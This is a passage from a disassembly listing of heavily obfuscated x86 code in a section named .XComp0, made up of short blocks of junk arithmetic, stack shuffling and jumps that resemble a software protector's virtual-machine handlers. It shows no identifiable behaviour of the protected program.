; ---------------------------------------------------------------------------


loc_58DC0A:				; CODE XREF: .XComp0:00598796j
		mov	[esp], esi
		mov	esi, 3B3F1668h
		xor	esi, 27AB7E22h
		dec	esi
		not	esi
		inc	esi
		sub	esi, 2ED54058h
		sub	esi, 4ECD1771h
		push	ecx
		mov	ecx, 0B16110Bh
		inc	ecx
		dec	ecx
		shl	ecx, 1
		neg	ecx
		xor	ecx, 8C1AE200h
		xor	esi, ecx
		pop	ecx
		add	edx, esi
		jmp	loc_595533
; ---------------------------------------------------------------------------


loc_58DC44:				; CODE XREF: .XComp0:00589372j
		add	dx, ax
		pop	eax
		push	di
		mov	di, 46C8h
		sub	cx, di
		pop	di
		sub	cx, dx
		jmp	loc_58CBD7
; ---------------------------------------------------------------------------


loc_58DC5B:				; CODE XREF: .XComp0:0058E686j
		pop	edx
		add	edx, 54D10ADFh
		pop	eax
		jmp	loc_58860F
; ---------------------------------------------------------------------------


loc_58DC68:				; CODE XREF: .XComp0:0058B37Bj
		pop	ecx
		sub	cl, dl
		jmp	loc_58C24A
; ---------------------------------------------------------------------------


loc_58DC70:				; CODE XREF: .XComp0:00586FA1j
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, 5CD20D94h
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		not	edi
		sub	edi, 15D88FA4h
		xor	eax, edi
		jmp	loc_591E3E
; ---------------------------------------------------------------------------


loc_58DC94:				; CODE XREF: .XComp0:00597A68j
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5958F4
; ---------------------------------------------------------------------------


loc_58DCBD:				; CODE XREF: .XComp0:0058DE4Fj
		mov	ebx, 3073786Ah
		mov	edi, ebx
		pop	ebx
		jmp	loc_5946E6
; ---------------------------------------------------------------------------


loc_58DCCA:				; CODE XREF: .XComp0:00587765j
		pop	esi
		add	esi, 4
		jmp	loc_585AFC
; ---------------------------------------------------------------------------


loc_58DCD6:				; CODE XREF: .XComp0:00597145j
		pop	dword ptr [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_593060
; ---------------------------------------------------------------------------


loc_58DCE5:				; CODE XREF: .XComp0:0058C5E8j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	421Ch
		mov	[esp], eax
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5901DF
; ---------------------------------------------------------------------------


loc_58DD0B:				; CODE XREF: .XComp0:0058DA6Cj
		add	dl, ch
		jmp	loc_587A38
; ---------------------------------------------------------------------------


loc_58DD12:				; CODE XREF: .XComp0:005865E2j
		mov	edi, 14EF503Bh
		xor	eax, edi
		pop	edi
		push	3162h
		mov	[esp], ecx
		push	7A5A4BDEh
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 4B670766h
		mov	ebp, edi
		pop	edi
		inc	ebp
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		jmp	loc_58E6BA
; ---------------------------------------------------------------------------


loc_58DD46:				; CODE XREF: .XComp0:00587B93j
		push	0B84h
		jmp	loc_58526D
; ---------------------------------------------------------------------------


loc_58DD50:				; CODE XREF: .XComp0:00596A14j
		push	ebx
		jmp	loc_58FA61
; ---------------------------------------------------------------------------


loc_58DD56:				; CODE XREF: .XComp0:00596A9Aj
		mov	dl, 0ADh
		add	al, dl
		pop	edx
		sub	al, 65h
		pop	edx
		push	edi
		push	esp
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5983E5
; ---------------------------------------------------------------------------


loc_58DD6B:				; CODE XREF: .XComp0:00588678j
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 46635A94h
		push	edx
		jmp	loc_588A32
; ---------------------------------------------------------------------------


loc_58DD7D:				; CODE XREF: .XComp0:0058EF50j
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_58AB7D
; ---------------------------------------------------------------------------


loc_58DD86:				; CODE XREF: .XComp0:0059719Dj
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_597F42
; ---------------------------------------------------------------------------


loc_58DD95:				; CODE XREF: .XComp0:00584050j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_595011
; ---------------------------------------------------------------------------


loc_58DDA3:				; CODE XREF: .XComp0:00585926j
		inc	edx
		push	eax
		mov	eax, 4AFB6CD1h
		push	edx
		mov	edx, 532203E8h
		xor	edx, 7E012029h
		jmp	loc_592402
; ---------------------------------------------------------------------------


loc_58DDBB:				; CODE XREF: .XComp0:00584494j
		add	bl, ah
		pop	eax
		add	bl, ah
		pop	eax
		sub	bl, 1
		push	ecx
		mov	cl, 7Eh
		sub	cl, 75h
		neg	cl
		push	bx
		mov	bl, 7Dh
		add	cl, bl
		jmp	loc_595BC2
; ---------------------------------------------------------------------------


loc_58DDD7:				; CODE XREF: .XComp0:0058B9AEj
		push	ebx
		mov	ebx, 32354001h
		shl	ebx, 6
		jmp	loc_589D49
; ---------------------------------------------------------------------------


loc_58DDE5:				; CODE XREF: .XComp0:00589D30j
		push	4158h
		jmp	loc_595CF0
; ---------------------------------------------------------------------------


loc_58DDEF:				; CODE XREF: .XComp0:0058FC05j
		push	426Fh
		jmp	loc_586494
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58D99F
; ---------------------------------------------------------------------------


loc_58DE02:				; CODE XREF: .XComp0:0058FD6Dj
		sub	ebp, 4B321235h
		add	ebp, 5FC715Eh
		jmp	loc_5941DD
; ---------------------------------------------------------------------------


loc_58DE13:				; CODE XREF: .XComp0:00585A7Bj
		add	esi, 0CA661E9h
		add	esi, edx
		sub	esi, 0CA661E9h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58C3DE
; ---------------------------------------------------------------------------


loc_58DE2D:				; CODE XREF: .XComp0:00595E72j
		sub	eax, 51866651h
		push	ecx
		mov	ecx, 5C3B53EDh
		shl	ecx, 5
		neg	ecx
		dec	ecx
		and	ecx, 2D6265C2h
		neg	ecx
		jmp	loc_59825A
; ---------------------------------------------------------------------------


loc_58DE4B:				; CODE XREF: .XComp0:00597587j
		mov	eax, esp
		push	edi
		push	ebx
		jmp	loc_58DCBD
; ---------------------------------------------------------------------------


loc_58DE54:				; CODE XREF: .XComp0:0058F40Fj
		pop	ebx
		push	eax
		mov	eax, 6304704Ah
		add	edi, eax
		pop	eax
		add	edi, 88F129Bh
		mov	ecx, [esp]
		push	edi
		jmp	loc_58D3C7
; ---------------------------------------------------------------------------


loc_58DE6D:				; CODE XREF: .XComp0:00587D4Fj
		add	dl, 58h
		sub	dl, al
		sub	dl, 58h
		pop	eax
		xor	dl, 63h
		xor	dl, 1Eh
		sub	dl, 6
		add	dl, 0B6h
		sub	al, 0A0h
		add	al, dl
		jmp	loc_59301E
; ---------------------------------------------------------------------------


loc_58DE8B:				; CODE XREF: .XComp0:0058DF0Dj
		push	ebx
		push	352E3376h
		pop	ebx
		jmp	loc_596ED8
; ---------------------------------------------------------------------------


loc_58DE97:				; CODE XREF: .XComp0:00590EA6j
		mov	bh, 1Fh
		jmp	loc_589D5C
; ---------------------------------------------------------------------------


loc_58DE9E:				; CODE XREF: .XComp0:0058B154j
		pop	ecx
		sub	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], bx
		mov	bh, 0E3h
		add	al, 0F7h
		jmp	loc_589C28
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59069B
; ---------------------------------------------------------------------------


loc_58DEC7:				; CODE XREF: .XComp0:00598271j
		sub	ecx, 5BF52ABDh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4FA941CCh
		push	edx
		mov	edx, 697A1017h
		add	eax, edx
		pop	edx
		jmp	loc_594C84
; ---------------------------------------------------------------------------


loc_58DEE9:				; CODE XREF: .XComp0:0058BAB2j
		xchg	ebp, [esp]
		jmp	loc_58A8A8
; ---------------------------------------------------------------------------


loc_58DEF1:				; CODE XREF: .XComp0:005932A5j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4057h
		mov	[esp], ebp
		push	edx
		jmp	loc_58DE8B
; ---------------------------------------------------------------------------


loc_58DF12:				; CODE XREF: .XComp0:005920DAj
		pop	ebx
		xor	ebp, 46333894h
		push	edx
		jmp	loc_58A418
; ---------------------------------------------------------------------------


loc_58DF1F:				; CODE XREF: .XComp0:00598E72j
		push	edx
		mov	edx, 1F497B43h
		xor	edx, 4E400423h
		push	edi
		mov	edi, 630E427Fh
		add	edx, edi
		jmp	loc_588F2B
; ---------------------------------------------------------------------------


loc_58DF38:				; CODE XREF: .XComp0:0059102Bj
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_583C3A
; ---------------------------------------------------------------------------


loc_58DF4F:				; CODE XREF: .XComp0:00585E7Bj
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_58B555
; ---------------------------------------------------------------------------


loc_58DF60:				; CODE XREF: .XComp0:0058494Fj
		mov	edx, 21AC1311h
		dec	edx
		or	edx, 73D31F00h
		xor	edx, 17501732h
		add	edx, 1886253Eh
		xor	edx, 65171548h
		xor	ebp, edx
		pop	edx
		pop	eax
		mov	ebx, 9898B6ADh
		add	ebx, ebp
		pop	ebp
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_596BE6
; ---------------------------------------------------------------------------


loc_58DFA2:				; CODE XREF: .XComp0:0058DB4Bj
		add	esi, 902BE7CCh
		mov	ecx, esi
		pop	esi
		mov	edx, ecx
		pop	ecx
		jmp	loc_58908D
; ---------------------------------------------------------------------------


loc_58DFB3:				; CODE XREF: .XComp0:00593BD4j
		sub	ch, al
		pop	eax
		jmp	loc_588231
; ---------------------------------------------------------------------------


loc_58DFBB:				; CODE XREF: .XComp0:0058CA1Bj
		sub	eax, 5EEE250h
		or	edx, eax
		pop	eax
		shl	edx, 7
		jmp	loc_598461
; ---------------------------------------------------------------------------


loc_58DFCB:				; CODE XREF: .XComp0:0058ED66j
		mov	ebp, 470F332Eh
		sub	ebp, 0FFFFFFFFh
		add	ebp, 0B8F0CCD5h
		add	esi, 4AB14074h
		jmp	loc_585351
; ---------------------------------------------------------------------------


loc_58DFE4:				; CODE XREF: .XComp0:00595BC6j
		add	esp, 2
		and	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		shl	bl, 8
		add	bl, 12h
		jmp	loc_59158D
; ---------------------------------------------------------------------------


loc_58DFFD:				; CODE XREF: .XComp0:00595AB0j
		and	edx, 624014C4h
		jmp	loc_59338C
; ---------------------------------------------------------------------------


loc_58E008:				; CODE XREF: .XComp0:0058BB7Ej
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	al, 0B8h
		sub	al, dh
		push	ebx
		mov	bh, 0F2h
		xor	bh, 4Ah
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		pop	dx
		push	ecx
		mov	cl, 24h
		shr	cl, 5
		jmp	loc_591938
; ---------------------------------------------------------------------------


loc_58E04A:				; CODE XREF: .XComp0:0058A15Ej
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		push	ecx
		push	ebx
		jmp	loc_58DBA3
; ---------------------------------------------------------------------------


loc_58E05B:				; CODE XREF: .XComp0:005866D7j
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58A31E
; ---------------------------------------------------------------------------


loc_58E072:				; CODE XREF: .XComp0:0058463Ej
		push	ebx
		jmp	loc_59240D
; ---------------------------------------------------------------------------


loc_58E078:				; CODE XREF: .XComp0:005940CBj
		pop	esp
		mov	[esp], eax
		jmp	loc_588051
; ---------------------------------------------------------------------------


loc_58E081:				; CODE XREF: .XComp0:00592416j
		push	ebx
		mov	bh, 0E1h
		neg	bh
		jmp	loc_595CD8
; ---------------------------------------------------------------------------


loc_58E08B:				; CODE XREF: .XComp0:00586589j
		push	edx
		not	dword ptr [esp]
		pop	edx
		xor	edx, 29E81041h
		xor	ebx, edx
		pop	edx
		jmp	loc_58C8D0
; ---------------------------------------------------------------------------


loc_58E09E:				; CODE XREF: .XComp0:00596508j
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	7289h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5851B2
; ---------------------------------------------------------------------------


loc_58E0C9:				; CODE XREF: .XComp0:005963A2j
		push	29BBh
		mov	[esp], eax
		jmp	loc_597EF6
; ---------------------------------------------------------------------------


loc_58E0D6:				; CODE XREF: .XComp0:00593A2Ej
		mov	ecx, 79967714h
		dec	ecx
		xor	ecx, 79967717h
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	al, bh
		pop	ebx
		push	67E9h
		mov	[esp], ecx
		push	4B94h
		mov	[esp], eax
		mov	al, 36h
		push	ebx
		mov	bh, al
		jmp	loc_5896EA
; ---------------------------------------------------------------------------


loc_58E10C:				; CODE XREF: .XComp0:00597D1Fj
		mov	ebp, [esp]
		add	esp, 4
		and	[edi+1Ch], eax
		push	dword ptr [esp]
		pop	eax
		push	303h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_589D51
; ---------------------------------------------------------------------------


loc_58E12C:				; CODE XREF: .XComp0:00585762j
		push	edx
		mov	dx, 384Bh
		add	dx, 3F78h
		add	ax, dx
		jmp	loc_591E04
; ---------------------------------------------------------------------------


loc_58E13E:				; CODE XREF: .XComp0:00590BC5j
		pop	esi
		xor	edx, 64FE65D4h
		neg	edx
		jmp	loc_58F16B
; ---------------------------------------------------------------------------


loc_58E14C:				; CODE XREF: .XComp0:0058B436j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_58871B
; ---------------------------------------------------------------------------


loc_58E157:				; CODE XREF: .XComp0:00584419j
		push	ebp
		jmp	loc_592318
; ---------------------------------------------------------------------------


loc_58E15D:				; CODE XREF: .XComp0:0058822Cj
		pop	edx
		jmp	loc_58838A
; ---------------------------------------------------------------------------


loc_58E163:				; CODE XREF: .XComp0:0058EE4Bj
		sub	esp, 4
		jmp	loc_59569A
; ---------------------------------------------------------------------------


loc_58E16E:				; CODE XREF: .XComp0:0058B13Bj
		inc	eax
		dec	eax
		add	eax, 9AAAEC72h
		jmp	loc_58BC17
; ---------------------------------------------------------------------------


loc_58E17A:				; CODE XREF: .XComp0:00592A0Fj
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_592987
; ---------------------------------------------------------------------------


loc_58E19B:				; CODE XREF: .XComp0:0058B5B2j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_597802
; ---------------------------------------------------------------------------


loc_58E1AE:				; CODE XREF: .XComp0:00594EBEj
		or	eax, 59E036DAh
		not	eax
		or	eax, 537007A7h
		push	3395h
		mov	[esp], esi
		push	0
		pop	esi
		jmp	loc_589A6C
; ---------------------------------------------------------------------------


loc_58E1CD:				; CODE XREF: .XComp0:005886DAj
		push	1437h
		mov	[esp], eax
		mov	eax, 4
		add	ecx, 481437E7h
		add	ecx, eax
		sub	ecx, 481437E7h
		mov	eax, [esp]
		jmp	loc_586E99
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 23E82A5Ch
		add	eax, ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_586377
; ---------------------------------------------------------------------------


loc_58E206:				; CODE XREF: .XComp0:0058D0EBj
		sub	al, 28h
		add	al, 49h
		add	al, 5Ah
		pop	ecx
		push	edi
		push	esp
		jmp	loc_58CDFA
; ---------------------------------------------------------------------------


loc_58E214:				; CODE XREF: .XComp0:00590F88j
		mov	edi, 4
		add	ebx, edi
		pop	edi
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59680D
; ---------------------------------------------------------------------------


loc_58E227:				; CODE XREF: .XComp0:0058C4F8j
		mov	[esp], ecx
		push	1DAB7210h
		jmp	loc_59592C
; ---------------------------------------------------------------------------


loc_58E234:				; CODE XREF: .XComp0:00595310j
		pop	esi
		add	eax, 5E126A6h
		push	edx
		mov	edx, 15703B46h
		neg	edx
		and	edx, 3FDE0AEDh
		xor	edx, 3C07E67h
		and	eax, edx
		pop	edx
		neg	eax
		jmp	loc_58EEEF
; ---------------------------------------------------------------------------


loc_58E258:				; CODE XREF: .XComp0:00598C21j
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_586F83
; ---------------------------------------------------------------------------


loc_58E26B:				; CODE XREF: .XComp0:0058FE20j
		push	eax
		mov	eax, 456037A9h
		sub	ecx, 12956F51h
		sub	ecx, eax
		jmp	loc_58796E
; ---------------------------------------------------------------------------


loc_58E27E:				; CODE XREF: .XComp0:00593823j
		push	ebx
		jmp	loc_58D740
; ---------------------------------------------------------------------------


loc_58E284:				; CODE XREF: .XComp0:00594D08j
		add	ecx, 1
		add	ecx, 0B6E13445h
		add	eax, ecx
		jmp	loc_589516
; ---------------------------------------------------------------------------


loc_58E297:				; CODE XREF: .XComp0:00584091j
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	ebx, 491F01BDh
		mov	edx, ebx
		pop	ebx
		shl	edx, 7
		sub	edx, 8F80DE7Ch
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	esi
		mov	esi, 0D2546FFh
		and	esi, 7D4B2635h
		sub	esi, 4C0D5EDBh
		push	edx
		mov	edx, 296B0D0Fh
		and	esi, edx
		jmp	loc_595957
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	edx
		push	ecx
		push	3FF2C8Ah
		pop	ecx
		jmp	loc_5921B0
; ---------------------------------------------------------------------------


loc_58E2EE:				; CODE XREF: .XComp0:0058C8AAj
		shr	ebp, 5
		or	ebp, 4DC8016Eh
		sub	ebp, 0FB9EE2FFh
		mov	eax, ebp
		pop	ebp
		mov	ecx, eax
		jmp	loc_594066
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_58519A
; ---------------------------------------------------------------------------


loc_58E316:				; CODE XREF: .XComp0:00593D59j
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		pop	ecx
		mov	eax, ecx
		push	dword ptr [esp]
		jmp	loc_592A36
; ---------------------------------------------------------------------------


loc_58E32A:				; CODE XREF: .XComp0:005873B0j
		btc	[esp], ax
		pushf
		jmp	loc_584990
; ---------------------------------------------------------------------------


loc_58E335:				; CODE XREF: .XComp0:00589F7Aj
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_583F43
; ---------------------------------------------------------------------------


loc_58E340:				; CODE XREF: .XComp0:0058B68Dj
		xor	edx, 0C8B7FFB4h
		push	edi
		mov	edi, 49A66CC1h
		jmp	loc_5975A9
; ---------------------------------------------------------------------------


loc_58E351:				; CODE XREF: .XComp0:005926D8j
		mov	edx, edi
		jmp	loc_58B62C
; ---------------------------------------------------------------------------


loc_58E358:				; CODE XREF: .XComp0:00587F9Fj
		mov	[esp], edx
		push	4
		pop	edx
		jmp	loc_58DBAF
; ---------------------------------------------------------------------------


loc_58E366:				; CODE XREF: .XComp0:00594CD2j
		mov	[esp], edx
		sub	esp, 4
		push	3E13h
		push	2B1Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_587689
; ---------------------------------------------------------------------------


loc_58E396:				; CODE XREF: .XComp0:005905FBj
		pop	ebx
		push	ebp
		jmp	loc_586911
; ---------------------------------------------------------------------------


loc_58E39D:				; CODE XREF: .XComp0:00590313j
		mov	ecx, 73177782h
		add	eax, ecx
		pop	ecx
		add	eax, 55196EB4h
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, eax
		jmp	loc_58A246
; ---------------------------------------------------------------------------


loc_58E3BA:				; CODE XREF: .XComp0:0058986Fj
		mov	ebp, edi
		pop	edi
		pop	ebx
		jmp	loc_586D38
; ---------------------------------------------------------------------------


loc_58E3C3:				; CODE XREF: .XComp0:00595B74j
		push	ebx
		push	ecx
		mov	ecx, 39C62F3Fh
		sub	ecx, 2E361D31h
		xor	ecx, 4D236BDCh
		xor	ecx, 53EE244Ch
		push	ebx
		push	edx
		mov	edx, 22BF3EEEh
		not	edx
		not	edx
		sub	edx, 1DA82310h
		mov	ebx, edx
		pop	edx
		not	ebx
		or	ebx, 44A5080Bh
		xor	ebx, 16DA54D8h
		add	ebx, 7FB98108h
		xor	ecx, ebx
		pop	ebx
		sub	ecx, 20E6EA24h
		mov	ebx, ecx
		pop	ecx
		not	ebx
		push	1B3Fh
		mov	[esp], edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_59326C
; ---------------------------------------------------------------------------


loc_58E424:				; CODE XREF: .XComp0:00588C3Ej
		not	edx
		xchg	edx, ecx
		sub	ecx, 11F2210Fh
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 8
		neg	eax
		and	eax, 7A141292h
		add	eax, 0F6D014F7h
		mov	edx, eax
		jmp	loc_58AB9E
; ---------------------------------------------------------------------------


loc_58E44F:				; CODE XREF: .XComp0:00595E9Ej
		mov	esp, [esp]
		sub	[edi+24h], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_591BE0
; ---------------------------------------------------------------------------


loc_58E464:				; CODE XREF: .XComp0:00598946j
		mov	dl, 0F5h
		add	al, dl
		jmp	loc_583D5F
; ---------------------------------------------------------------------------


loc_58E46D:				; CODE XREF: .XComp0:00587E71j
		sub	eax, 26D2205h
		dec	eax
		sub	eax, 1
		push	ecx
		mov	ecx, 4329002Ah
		jmp	loc_596CC3
; ---------------------------------------------------------------------------


loc_58E481:				; CODE XREF: .XComp0:0058701Fj
		add	esp, 4
		push	ecx
		jmp	loc_58F4F5
; ---------------------------------------------------------------------------


loc_58E48D:				; CODE XREF: .XComp0:005932B0j
		shr	ecx, 2
		jmp	loc_595F42
; ---------------------------------------------------------------------------


loc_58E495:				; CODE XREF: .XComp0:0058BBCDj
		mov	bh, cl
		mov	dh, bh
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_597563
; ---------------------------------------------------------------------------


loc_58E4A5:				; CODE XREF: .XComp0:00596D65j
		sub	[esp], ah
		mov	ah, [esp]
		add	esp, 2
		xor	ah, 61h
		shr	ah, 4
		add	ah, 84h
		sub	ah, 55h
		mov	ch, ah
		pop	eax
		sub	ch, 0F0h
		add	ch, 52h
		jmp	loc_589CDC
; ---------------------------------------------------------------------------


loc_58E4C8:				; CODE XREF: .XComp0:0058915Ej
		or	ecx, 23CC4FD3h
		shl	ecx, 2
		jmp	loc_595E8D
; ---------------------------------------------------------------------------


loc_58E4D6:				; CODE XREF: .XComp0:00594E07j
		dec	ebp
		jmp	loc_597FB6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	4B88h
		mov	[esp], edi
		push	esp
		pop	edi
		push	57ADh
		mov	[esp], ebp
		jmp	loc_587110
; ---------------------------------------------------------------------------


loc_58E4F7:				; CODE XREF: .XComp0:0059807Ej
		xchg	edi, [esp]
		pop	esp
		jmp	loc_595B8D
; ---------------------------------------------------------------------------


loc_58E500:				; CODE XREF: .XComp0:0058C50Cj
		push	ebx
		mov	ebx, 0
		push	edx
		push	eax
		push	79670E38h
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, 1C4A3326h
		jmp	loc_58B1A2
; ---------------------------------------------------------------------------


loc_58E52B:				; CODE XREF: .XComp0:005920C0j
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5923D1
; ---------------------------------------------------------------------------


loc_58E53A:				; CODE XREF: .XComp0:00588B98j
		add	eax, ebp
		push	edi
		mov	edi, 7A8B7B1Dh
		jmp	loc_589B59
; ---------------------------------------------------------------------------


loc_58E547:				; CODE XREF: .XComp0:0059150Dj
		mov	edi, esp
		jmp	loc_58A528
; ---------------------------------------------------------------------------


loc_58E54E:				; CODE XREF: .XComp0:005959CAj
		pop	edx
		sub	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_58E683
; ---------------------------------------------------------------------------


loc_58E55B:				; CODE XREF: .XComp0:0058C93Cj
		add	bl, 49h
		pop	cx
		push	eax
		jmp	loc_59868E
; ---------------------------------------------------------------------------


loc_58E566:				; CODE XREF: .XComp0:005957ACj
		push	0CA0h
		mov	[esp], ecx
		jmp	loc_5940A1
; ---------------------------------------------------------------------------


loc_58E573:				; CODE XREF: .XComp0:00598DC4j
		sub	esi, ecx
		jmp	loc_598127
; ---------------------------------------------------------------------------


loc_58E57A:				; CODE XREF: .XComp0:00596A77j
		push	edi
		mov	edi, 1B6D25EEh
		shr	edi, 7
		xor	edi, 36DA4Fh
		add	ebp, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_589131
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58E5A4:				; CODE XREF: .XComp0:00594C3Cj
		or	edx, 313A21AEh
		sub	edx, 777E2BFBh
		sub	eax, 52575042h
		add	eax, 4961592Eh
		add	eax, edx
		sub	eax, 4961592Eh
		add	eax, 52575042h
		pop	edx
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_588C43
; ---------------------------------------------------------------------------


loc_58E5DB:				; CODE XREF: .XComp0:005902D6j
		pop	esp
		shl	edi, 1
		shr	edi, 7
		add	edi, 27717D31h
		sub	eax, 3D876726h
		sub	eax, 3B8552C7h
		add	eax, edi
		add	eax, 3B8552C7h
		add	eax, 3D876726h
		mov	edi, [esp]
		jmp	loc_589A84
; ---------------------------------------------------------------------------


loc_58E605:				; CODE XREF: .XComp0:005979E3j
		mov	[esp], esi
		pop	edx
		push	eax
		push	ebx
		mov	ebx, edx
		jmp	loc_588A42
; ---------------------------------------------------------------------------


loc_58E612:				; CODE XREF: .XComp0:00589660j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_583A60
; ---------------------------------------------------------------------------
		push	esi
		push	esp
		pop	esi
		push	eax
		mov	eax, 4
		jmp	loc_58CF6D
; ---------------------------------------------------------------------------


loc_58E62E:				; CODE XREF: .XComp0:0058797Cj
		push	edx
		jmp	loc_587CB6
; ---------------------------------------------------------------------------


loc_58E634:				; CODE XREF: .XComp0:0058881Ej
		sub	ebp, 15056CD4h
		pop	eax
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_59691B
; ---------------------------------------------------------------------------


loc_58E651:				; CODE XREF: .XComp0:0058FF02j
		add	ebx, 40B641D2h
		pop	esi
		sub	ebx, eax
		push	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_58F74F
; ---------------------------------------------------------------------------


loc_58E663:				; CODE XREF: .XComp0:00588471j
		add	esi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 6136411Fh
		jmp	loc_598872
; ---------------------------------------------------------------------------


loc_58E671:				; CODE XREF: .XComp0:00595F33j
		push	ecx
		jmp	loc_58F95C
; ---------------------------------------------------------------------------


loc_58E677:				; CODE XREF: .XComp0:0058FC4Dj
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_594089
; ---------------------------------------------------------------------------


loc_58E683:				; CODE XREF: .XComp0:0058E556j
		add	esp, 4
		jmp	loc_58DC5B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58E69B:				; CODE XREF: .XComp0:0058CABCj
		xor	edx, 265A1648h
		push	edx
		jmp	loc_593CC7
; ---------------------------------------------------------------------------


loc_58E6A7:				; CODE XREF: .XComp0:0058B58Fj
		sub	ecx, ebp
		sub	ecx, 27FE0B32h
		jmp	loc_590366
; ---------------------------------------------------------------------------


loc_58E6B4:				; CODE XREF: .XComp0:0058B5B9j
		pop	ecx
		jmp	loc_596BAD
; ---------------------------------------------------------------------------


loc_58E6BA:				; CODE XREF: .XComp0:0058DD41j
		sub	esp, 4
		jmp	loc_58A1B0
; ---------------------------------------------------------------------------


loc_58E6C5:				; CODE XREF: .XComp0:00595A67j
		add	edi, 4
		sub	edi, 4
